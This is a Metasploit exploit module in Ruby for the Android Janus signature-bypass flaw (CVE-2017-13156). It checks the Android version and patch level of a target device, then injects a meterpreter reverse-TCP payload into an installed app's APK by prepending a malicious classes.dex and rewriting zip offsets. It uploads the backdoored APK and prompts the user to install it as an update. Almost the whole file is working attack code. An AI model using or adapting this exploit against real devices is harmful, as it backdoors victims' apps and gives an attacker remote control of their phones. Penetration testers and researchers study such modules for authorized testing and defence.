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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ManualRanking
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  include Msf::Exploit::FileDropper
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  include Msf::Post::File
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  include Msf::Post::Android::Priv
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  include Msf::Payload::Android
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        {
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          'Name' => "Android Janus APK Signature bypass",
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          'Description' => %q{
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            This module exploits CVE-2017-13156 in Android to install a payload into another
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            application. The payload APK will have the same signature and can be installed
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            as an update, preserving the existing data.
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            The vulnerability was fixed in the 5th December 2017 security patch, and was
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            additionally fixed by the APK Signature scheme v2, so only APKs signed with
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            the v1 scheme are vulnerable.
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            Payload handler is disabled, and a multi/handler must be started first.
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          },
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          'Author' => [
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            'GuardSquare', # discovery
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            'V-E-O',       # proof of concept
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            'timwr',       # metasploit module
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            'h00die',      # metasploit module
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          ],
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          'References' => [
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            [ 'CVE', '2017-13156' ],
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            [ 'URL', 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures' ],
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            [ 'URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156' ],
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          ],
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          'DisclosureDate' => '2017-07-31',
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          'SessionTypes' => [ 'meterpreter' ],
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          'Platform' => [ 'android' ],
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          'Arch' => [ ARCH_DALVIK ],
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          'Targets' => [ [ 'Automatic', {} ] ],
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          'DefaultOptions' => {
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            'PAYLOAD' => 'android/meterpreter/reverse_tcp',
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            'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission
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            'DisablePayloadHandler' => true,
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          },
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          'DefaultTarget' => 0,
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          'Notes' => {
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            'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
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            'Reliability' => [],
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            'Stability' => [SERVICE_RESOURCE_LOSS], # ZTE youtube app won't start anymore
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          },
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          'Compat' => {
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            'Meterpreter' => {
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              'Commands' => %w[
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                appapi_app_install
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              ]
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            }
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          }
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        }
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      )
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    )
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    register_options([
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      OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']),
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    ])
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  end
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  def check
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    os = cmd_exec("getprop ro.build.version.release")
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    unless Rex::Version.new(os).between?(Rex::Version.new('5.1.1'), Rex::Version.new('8.0.0'))
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      vprint_error "Android version #{os} is not vulnerable."
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      return CheckCode::Safe
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    end
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    vprint_good "Android version #{os} appears to be vulnerable."
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    patch = cmd_exec('getprop ro.build.version.security_patch')
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    if patch.empty?
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      print_status 'Unable to determine patch level.  Pre-5.0 this is unaccessible.'
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    elsif patch > '2017-12-05'
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      vprint_error "Android security patch level #{patch} is patched."
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      return CheckCode::Safe
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    else
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      vprint_good "Android security patch level #{patch} is vulnerable"
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    end
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    CheckCode::Appears
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  end
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  def exploit
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    def infect(apkfile)
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      unless apkfile.start_with?("package:")
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        fail_with Failure::BadConfig, 'Unable to locate app apk'
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      end
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      apkfile = apkfile[8..-1]
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      print_status "Downloading APK: #{apkfile}"
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      apk_data = read_file(apkfile)
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      begin
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        # Create an apk with the payload injected
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        apk_backdoor = ::Msf::Payload::Apk.new
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        apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false)
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        # Extract the classes.dex
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        dex_data = ''
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        Zip::File.open_buffer(apk_zip) do |zipfile|
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          dex_data = zipfile.read("classes.dex")
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        end
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        dex_size = dex_data.length
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        # Fix the original APKs zip file code directory
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        cd_end_addr = apk_data.rindex("\x50\x4b\x05\x06")
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        cd_start_addr = apk_data[cd_end_addr + 16, cd_end_addr + 20].unpack("V")[0]
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        apk_data[cd_end_addr + 16...cd_end_addr + 20] = [ cd_start_addr + dex_size ].pack("V")
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        pos = cd_start_addr
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        while pos && pos < cd_end_addr
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          offset = apk_data[pos + 42, pos + 46].unpack("V")[0]
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          apk_data[pos + 42...pos + 46] = [ offset + dex_size ].pack("V")
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          pos = apk_data.index("\x50\x4b\x01\x02", pos + 46)
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        end
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        # Prepend the new classes.dex to the apk
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        out_data = dex_data + apk_data
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        out_data[32...36] = [ out_data.length ].pack("V")
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        out_data = fix_dex_header(out_data)
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        out_apk = "/sdcard/#{Rex::Text.rand_text_alphanumeric 6}.apk"
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        print_status "Uploading APK: #{out_apk}"
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        write_file(out_apk, out_data)
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        register_file_for_cleanup(out_apk)
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        print_status "APK uploaded"
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        # Prompt the user to update the APK
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        session.appapi.app_install(out_apk)
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        print_status "User should now have a prompt to install an updated version of the app"
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        true
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      rescue => e
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        print_error e.to_s
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        false
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      end
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    end
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    if datastore["PACKAGE"] == 'ALL'
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      vprint_status('Finding installed packages (this can take a few minutes depending on list of installed packages)')
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      apkfiles = []
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      all = cmd_exec("pm list packages").split("\n")
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      c = 1
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      all.each do |package|
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        package = package.split(':')[1]
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        vprint_status("Attempting exploit of apk #{c}/#{all.length} for #{package}")
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        c += 1
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        next if ['com.metasploit.stage', # avoid injecting into ourself
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                ].include? package # This was left on purpose to be expanded as need be for testing
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        result = infect(cmd_exec("pm path #{package}"))
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        break if result
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      end
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    else
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      infect(cmd_exec("pm path #{datastore["PACKAGE"]}"))
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    end
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  end
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end
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